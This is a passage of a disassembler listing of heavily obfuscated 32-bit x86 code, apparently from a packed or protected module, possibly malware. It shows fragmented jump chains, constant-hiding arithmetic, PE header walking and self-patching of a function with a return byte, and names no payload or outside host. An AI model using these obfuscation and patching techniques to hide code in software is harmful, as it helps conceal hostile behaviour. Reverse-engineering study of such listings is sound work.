--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001C9E4: ; CODE XREF: sub_10016167:loc_100169FFj push 2010h push 0 lea eax, [ebp-100h] push eax push ebx jmp loc_1001B801 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_1001C9F8 proc near ; DATA XREF: sub_10017EFB:loc_10019BF9o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100135CE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015F20 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A046 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001D055 SIZE 00000005 BYTES mov eax, [ebp-4] push edi loc_1001C9FC: ; CODE XREF: an.kk9rg:loc_100174CCj push 389EE359h pop edi add edi, 1A4C3DD9h rol edi, 18h sub edi, 2F493619h loc_1001CA11: ; CODE XREF: an.kk9rg:loc_1001A6CCj jmp loc_1001D055 sub_1001C9F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_1001CA16: ; CODE XREF: sub_1001B2CC-BACj ; an.kk9rg:1001D986j add eax, [esp+4+var_4] adc edx, [esp+4] call sub_100193F2 loc_1001CA22: ; CODE XREF: sub_10014030+E76j jmp loc_10016058 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_1001CA28: ; CODE XREF: sub_10018B4A:loc_10017BF4j pop edi or edi, 783BF1FDh and edi, 0B73F2F3Ah or edi, 0C629A65Ch jmp loc_10017B49 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001CA40 proc near ; DATA XREF: sub_100140A5o ; FUNCTION CHUNK AT 10017883 SIZE 0000001B BYTES push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp call sub_10019269 loc_1001CA4D: ; CODE XREF: sub_1001677A+1032j jmp loc_10017883 sub_1001CA40 endp ; --------------------------------------------------------------------------- xchg ecx, [eax] jmp loc_100137D5 ; --------------------------------------------------------------------------- locret_1001CA59: ; CODE XREF: an.kk9rg:loc_10014DC3j retn ; --------------------------------------------------------------------------- pop eax jmp sub_1001543A ; --------------------------------------------------------------------------- loc_1001CA60: ; CODE XREF: an.kk9rg:100145A8j ja loc_10014872 xor esi, 75D76AE9h shr esi, 0Ah test ebx, ebp jmp loc_1001B82E ; =============== S U B R O U T I N E ======================================= sub_1001CA76 proc near ; CODE XREF: sub_1001677A+500Bp ; an.kk9rg:1001C694j xchg ecx, [esp+0] pop ecx push 94BDB3B8h pop edx jmp loc_100134EB sub_1001CA76 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CA86: ; CODE XREF: sub_100193F2+3421j jmp loc_10018915 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001CA8B: ; CODE XREF: sub_1001A54C+21F0j pop eax xor eax, 0E716F46Ch sub eax, 60EDDCEFh add eax, 123D8773h xchg eax, [esp+0] push 0 call sub_10015D9E push eax jmp loc_1001804F ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001CAAE: ; CODE XREF: sub_1001B45F+1C81j jno loc_10019B75 ja nullsub_139 jmp loc_1001DA87 ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001CABF: ; CODE XREF: sub_100189D7:loc_10017579j pushf xchg ebx, [eax] jmp loc_1001723D ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001CAC7: ; CODE XREF: sub_10018066+4D4j pop edi rol edi, 0Dh jnb loc_1001582D loc_1001CAD1: ; CODE XREF: sub_100150E1+617j jmp sub_100192D0 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- jnz loc_100137B8 jmp loc_10015827 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001CAE1: ; CODE XREF: sub_100188EE+39D8j js loc_100146A1 ; END OF FUNCTION CHUNK FOR sub_100188EE ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CAE7: ; CODE XREF: sub_100193F2:loc_10014B92j ; sub_100193F2-B17j ... push offset loc_1001421D jmp loc_10017F72 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- xor ebp, 0D576DAB6h jmp loc_10019C2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_1001CAFC: ; CODE XREF: sub_1001B3A1-267Bj mov eax, [esp+0] push edx call sub_10018FE5 ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; START OF FUNCTION CHUNK FOR sub_1001D076 loc_1001CB05: ; CODE XREF: sub_1001D076+Ej jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_1001D076 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001CB0A: ; CODE XREF: sub_10015B5D+5FAAj jge sub_100193B1 loc_1001CB10: ; CODE XREF: sub_10015B5D:loc_10019808j push offset loc_1001BBB9 jmp nullsub_148 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001CB1A: ; CODE XREF: sub_1001ABFD:loc_1001A376j ; sub_10017A58+5B88j jz loc_1001C9C1 jmp loc_10016115 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001CB25: ; CODE XREF: sub_1001D1DB-2E09j cmp dword ptr [eax], 0 jnz loc_1001D1EB jmp loc_1001989B ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; =============== S U B R O U T I N E ======================================= sub_1001CB33 proc near ; CODE XREF: an.kk9rg:100197F4p ; sub_1001D1DB:loc_1001A3CCp ... ; FUNCTION CHUNK AT 10015532 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10015B9A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019126 SIZE 0000000B BYTES jnz sub_1001BAEE call sub_1001664C loc_1001CB3E: ; CODE XREF: sub_10014092+1BC6j jmp loc_10019126 sub_1001CB33 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CB43: ; CODE XREF: sub_10013389:loc_1001525Cj jmp loc_1001AF47 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- sub ebp, ecx xchg edx, edi jmp sub_100159A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100164A2 loc_1001CB51: ; CODE XREF: sub_100164A2+Dj add ecx, 7640EFE4h push offset loc_10018099 jmp loc_10019A50 ; END OF FUNCTION CHUNK FOR sub_100164A2 ; =============== S U B R O U T I N E ======================================= sub_1001CB61 proc near ; CODE XREF: an.kk9rg:100144B8p ; an.kk9rg:10016ADAj xchg edi, [esp+0] pop edi jz loc_1001A630 push offset sub_100145B9 jmp nullsub_206 sub_1001CB61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001CB75: ; DATA XREF: sub_10017667:loc_100158DBo jmp loc_1001541B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_1001CB7A: ; CODE XREF: sub_10017667-3FB5j ; an.kk9rg:loc_10014AA4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- loc_1001CB7D: ; CODE XREF: an.kk9rg:1001C917j jmp loc_10018B21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_1001CB82: ; CODE XREF: sub_100136FF:loc_10018B9Dj ; an.kk9rg:loc_1001B27Dj jl loc_10013674 ; END OF FUNCTION CHUNK FOR sub_100136FF ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001CB88: ; CODE XREF: sub_100174F4-1F5Cj ; sub_10015BFC+2B2Ej jmp loc_10013982 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001CB8D: ; CODE XREF: sub_10014189+20D6j jmp loc_1001B620 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_1001CB92: ; CODE XREF: sub_1001C529-7DE0j jmp sub_1001C529 ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CB97: ; CODE XREF: sub_10013389+18Dj jmp loc_100141D8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- or ecx, eax cdq sub edx, esi xor edx, eax jmp loc_10013673 ; =============== S U B R O U T I N E ======================================= sub_1001CBA8 proc near ; CODE XREF: an.kk9rg:10016053j ; sub_1001B8D3-248Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100154A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10015722 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10017F60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001D14E SIZE 0000000B BYTES xchg edi, [esp+0] pop edi loc_1001CBAC: ; CODE XREF: an.kk9rg:1001AAD4j cmp byte ptr [eax], 0F1h jnz loc_10017F65 jmp loc_1001D14E sub_1001CBA8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001CBBA: ; CODE XREF: sub_1001498A:loc_1001CCD4j mov [ebp-0Ch], eax mov eax, [ebp-0Ch] call sub_100194EA ; END OF FUNCTION CHUNK FOR sub_1001498A ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001CBC5: ; CODE XREF: sub_1001B096:loc_1001C233j jmp loc_100177D0 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CBCA: ; CODE XREF: sub_10017394-11F2j jmp loc_10017AA8 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001CBCF: ; CODE XREF: sub_1001ABFD:loc_100188CBj jno loc_10017D9D inc ds:dword_10018608 lea eax, nullsub_4 push offset loc_1001D3C3 jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001CBEB: ; CODE XREF: sub_10019C34:loc_1001C3E1j push eax push 0 call sub_1001CB33 pop eax cmp dword ptr [eax], 0 push offset sub_1001A3BE jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001CC01 proc near ; CODE XREF: sub_1001D50B:loc_100198B2j retn sub_1001CC01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001CC02: ; CODE XREF: sub_10015B5D+28E3j jmp loc_10019808 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_1001CC07: ; CODE XREF: an.kk9rg:10014D9Dj jmp loc_1001C4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001CC0C: ; CODE XREF: sub_1001D201+9B8j adc edx, 7DBC0D1Ah pop eax rol esi, 6 loc_1001CC16: ; CODE XREF: sub_1001D201:loc_10015511j mov [ebp-18h], eax mov dword ptr [ebp-0Ch], 1 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001CC20: ; CODE XREF: an.kk9rg:100180A4j ; sub_10018066+5069j lea eax, [ebp-14h] push eax jmp loc_10017532 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CC29: ; CODE XREF: sub_100193F2:loc_10016E80j or ecx, ecx jz loc_1001D07F loc_1001CC31: ; CODE XREF: sub_1001A97E:loc_1001D4BCj call sub_10018B90 jnz loc_10014AFA mov ecx, [ebx+edx-4] push offset byte_1001477D jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001CC4A proc near ; CODE XREF: an.kk9rg:1001A624j ; sub_1001D88D-65Ep arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10015E8A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001D457 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov edx, 0A22F8A70h call sub_1001DECE mov ds:dword_10013FE0, eax call sub_100180C2 call sub_10019BB6 loc_1001CC67: ; CODE XREF: sub_10016D04:loc_100135DDj ; sub_1001CF8D+Ap xchg eax, [esp+0] pop eax mov eax, [ebp+8] push eax mov eax, [ebp+8] jmp loc_1001D457 sub_1001CC4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001CC77: ; CODE XREF: sub_10013044+78Cj sbb ecx, esi jmp loc_10016E64 ; END OF FUNCTION CHUNK FOR sub_10013044 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb ebp, 4B405F6Ch ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001CC85: ; CODE XREF: sub_1001CF40-3DACj jmp loc_10017CF3 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001CC8A: ; CODE XREF: sub_10018C4D+229Aj add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] jmp loc_1001321D ; --------------------------------------------------------------------------- loc_1001CCA0: ; CODE XREF: sub_10018C4D:loc_100170AFj xor eax, eax jmp loc_1001B9F4 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CCE loc_1001CCA7: ; CODE XREF: sub_10014CCE:loc_10016E70j push offset sub_10014418 jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_10014CCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190EB loc_1001CCB1: ; CODE XREF: sub_100190EB+17j mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_10017052 ; --------------------------------------------------------------------------- loc_1001CCC6: ; CODE XREF: sub_100190EB:loc_100190F2j cmp dword ptr [ebp-14h], 4 call sub_1001AEBC loc_1001CCCF: ; CODE XREF: sub_10016A1B+147Dj jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001CCD4: ; CODE XREF: sub_1001498A+A26j jmp loc_1001CBBA ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100140A5 loc_1001CCD9: ; CODE XREF: sub_100140A5+5j jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_100140A5 ; =============== S U B R O U T I N E ======================================= sub_1001CCDE proc near ; DATA XREF: sub_1001677A+5021o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10017C1F SIZE 00000005 BYTES popf xchg ecx, [esp-4+arg_0] jmp loc_10017C1F sub_1001CCDE endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001CCE8: ; CODE XREF: sub_10017A58+11j ; sub_1001C185:loc_1001B0E0j jmp loc_1001609C ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001CCED: ; CODE XREF: sub_10013061:loc_1001C9C9j xor edx, 33BD7FEAh rol edx, 5 and edx, 4B0CDE2Bh cmp edx, 0E01D21E2h jmp loc_10019E8A ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015633 loc_1001CD07: ; CODE XREF: sub_10015633:loc_10014E12j cmp dword ptr [ebp-14h], 6 setz al jmp loc_1001900B ; END OF FUNCTION CHUNK FOR sub_10015633 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001CD13: ; CODE XREF: sub_10013688:loc_1001AE94j call sub_1001C547 loc_1001CD18: ; DATA XREF: sub_100190DC:loc_1001708Eo push edx push esi push offset sub_1001453F jmp loc_1001B9EF ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_1001CD24: ; DATA XREF: sub_10018DE4+Bo mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001C0CC mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] loc_1001CD3C: ; CODE XREF: an.kk9rg:loc_1001D37Aj add eax, 18h jmp loc_10016DE2 ; --------------------------------------------------------------------------- locret_1001CD44: ; CODE XREF: an.kk9rg:100191E8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001CD45: ; CODE XREF: sub_10015D9E:loc_100195EEj jge loc_10018A92 loc_1001CD4B: ; CODE XREF: an.kk9rg:1001C5ADj jmp loc_10019A27 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- xchg ebp, [eax] jmp loc_10018A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001CD57: ; CODE XREF: sub_10013999+7D37j jz loc_100156FD jmp loc_1001A671 ; END OF FUNCTION CHUNK FOR sub_10013999 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CD63: ; CODE XREF: sub_10017394+359Ej jmp loc_1001A67B ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_1001CD68: ; CODE XREF: an.kk9rg:1001B079j mov edi, [esi] and ebp, 7AABBB13h ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CD70: ; CODE XREF: sub_10019409:loc_1001B068j add eax, 7E011474h mov eax, [eax] or eax, eax jnz loc_10013800 jmp loc_10013766 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001CD85 proc near ; CODE XREF: sub_10016A39+5A8Aj ; FUNCTION CHUNK AT 10015D48 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10015FB4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100172C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100174B5 SIZE 00000006 BYTES push ebx push 4A8B8247h pop ebx and ebx, 7F1E1598h jns loc_10015D48 sub_1001CD85 endp ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001CD98: ; CODE XREF: sub_10019030+3EEEj jmp loc_10019847 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001CD9D: ; CODE XREF: sub_100175DE-4493j jmp loc_1001DA78 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- test ecx, 0CD96FE79h jmp loc_1001429B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001CDAD: ; CODE XREF: sub_1001A97E:loc_100158FAj jz loc_1001B834 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_1001CDB3: ; CODE XREF: sub_1001A365-8B1j jmp loc_1001A7D4 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001CDB8: ; CODE XREF: sub_1001BB72-328Aj jmp loc_10019813 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CDBD: ; CODE XREF: sub_10019409-5203j jmp loc_1001A8EF ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- adc edx, 48A2C69Ch jmp loc_100145A2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_1001CDCE: ; CODE XREF: sub_100145ED+4F7Fj popf sub edx, 0CB73F2FCh or ecx, 0C9EFDEC8h ; END OF FUNCTION CHUNK FOR sub_100145ED ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001CDDB: ; CODE XREF: sub_10018AB1:loc_100140FAj mov esi, [eax] jmp loc_100165B2 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001CDE2: ; CODE XREF: sub_10019E2E:loc_1001D1ACj ; sub_10019E2E+339Dj xor edx, 0C535F06Ch add edx, 0D539ABB0h add edx, ebp add edx, 7A530A3Ah mov edx, [edx] jmp loc_1001A656 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- xchg eax, ebx adc esi, edx jmp sub_10018E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001CE06: ; CODE XREF: sub_1001537B+628Fj jz loc_100155C2 jmp loc_1001472F ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- loc_1001CE11: ; DATA XREF: sub_1001620D+5EC4o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001CE13: ; CODE XREF: sub_10013688+781Fj jmp loc_10016352 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001CE18: ; CODE XREF: an.kk9rg:10019056j ; sub_1001D201+Cj inc dword ptr [ebp-18h] call sub_100141E3 loc_1001CE20: ; CODE XREF: sub_100156CB+2000j jmp loc_10015511 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001CE25: ; CODE XREF: sub_1001BB72-5258j jmp loc_10015BAF ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001CE2A: ; CODE XREF: an.kk9rg:10018982j ; sub_10019595:loc_100195A5j cmp edi, edx jmp loc_10016718 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001CE31: ; CODE XREF: sub_10015C14:loc_10018269j mov eax, 9E849D81h push ecx push 148C32B8h pop ecx xor ecx, 9452B7FFh add ecx, 8F2349DCh jmp loc_1001DD83 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CE4E: ; CODE XREF: sub_10013389+3E1Ej ; sub_10014189:loc_10017F93j call sub_100180C2 push 2A231FBDh pop edx or edx, 0EBBF2861h and edx, 0E323904Dh sub edx, 0EABDD155h jmp loc_1001AD0B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001CE70: ; CODE XREF: sub_1001ABFD:loc_10017987j mov al, [eax] js loc_10018F06 sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] jmp loc_10014865 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001CE84: ; CODE XREF: sub_1001504E:loc_100198ACj cmp al, 0A4h jz loc_10017304 jmp loc_10018378 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_1001CE91: ; CODE XREF: an.kk9rg:10016B57j jz loc_100132B5 jmp loc_100174FF ; --------------------------------------------------------------------------- loc_1001CE9C: ; DATA XREF: sub_10017DC3:loc_10016DD0o push ecx push 0B0CDAED3h pop ecx rol ecx, 7 or ecx, 95C45C8h test ecx, 8000000h jmp loc_1001B10F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AEBC loc_1001CEB8: ; CODE XREF: sub_1001AEBC+16j jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_1001AEBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CEBD: ; CODE XREF: sub_10013389+F41j jmp loc_10017776 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CEC2: ; CODE XREF: sub_10019409:loc_1001B6F5j or eax, eax loc_1001CEC4: ; CODE XREF: an.kk9rg:loc_1001B057j jz loc_1001C5F2 cmp eax, 0FFFFFFFFh jz loc_1001C5F2 push offset loc_1001C5EB jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001CEDD proc near ; CODE XREF: an.kk9rg:10017F9Ep ; an.kk9rg:1001D590j ; FUNCTION CHUNK AT 100171DF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017DDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B96 SIZE 00000020 BYTES xchg ecx, [esp+0] pop ecx push ecx push 0D43D1A9Ah pop ecx xor ecx, 34162783h js loc_10019B96 sub_1001CEDD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CEF4: ; CODE XREF: sub_10013389+A269j jmp loc_100171D4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183D9 loc_1001CEF9: ; CODE XREF: sub_100183D9+Fj jmp sub_10014030 ; END OF FUNCTION CHUNK FOR sub_100183D9 ; --------------------------------------------------------------------------- loc_1001CEFE: ; CODE XREF: an.kk9rg:10018971j jnz loc_10019115 jmp loc_10017BEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001CF09: ; CODE XREF: sub_10019030:loc_10014F89j pop esi and esi, 0FF4E33E0h sub esi, ds:100000C5h xor esi, 6AFAD3FAh add edx, esi jmp loc_1001CD98 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- mov ds:off_10002020, eax lea eax, sub_100188A0 mov byte ptr [eax], 0C3h jmp loc_1001585B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001CF37: ; CODE XREF: sub_100188A0+6j mov eax, [esp+4+var_4] push edx jmp loc_10013108 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; =============== S U B R O U T I N E ======================================= sub_1001CF40 proc near ; CODE XREF: sub_10017A58-2279p ; an.kk9rg:1001D5E7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001308B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014501 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10014BED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001729A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017937 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017CF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001918C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100199CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B0D8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BB62 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C818 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CC85 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D857 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx add eax, 0BC91051Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001C9C6 jmp loc_1001AD61 sub_1001CF40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001CF5A: ; CODE XREF: sub_1001D461-9A28j add eax, ebp add eax, 0EC13DBDCh 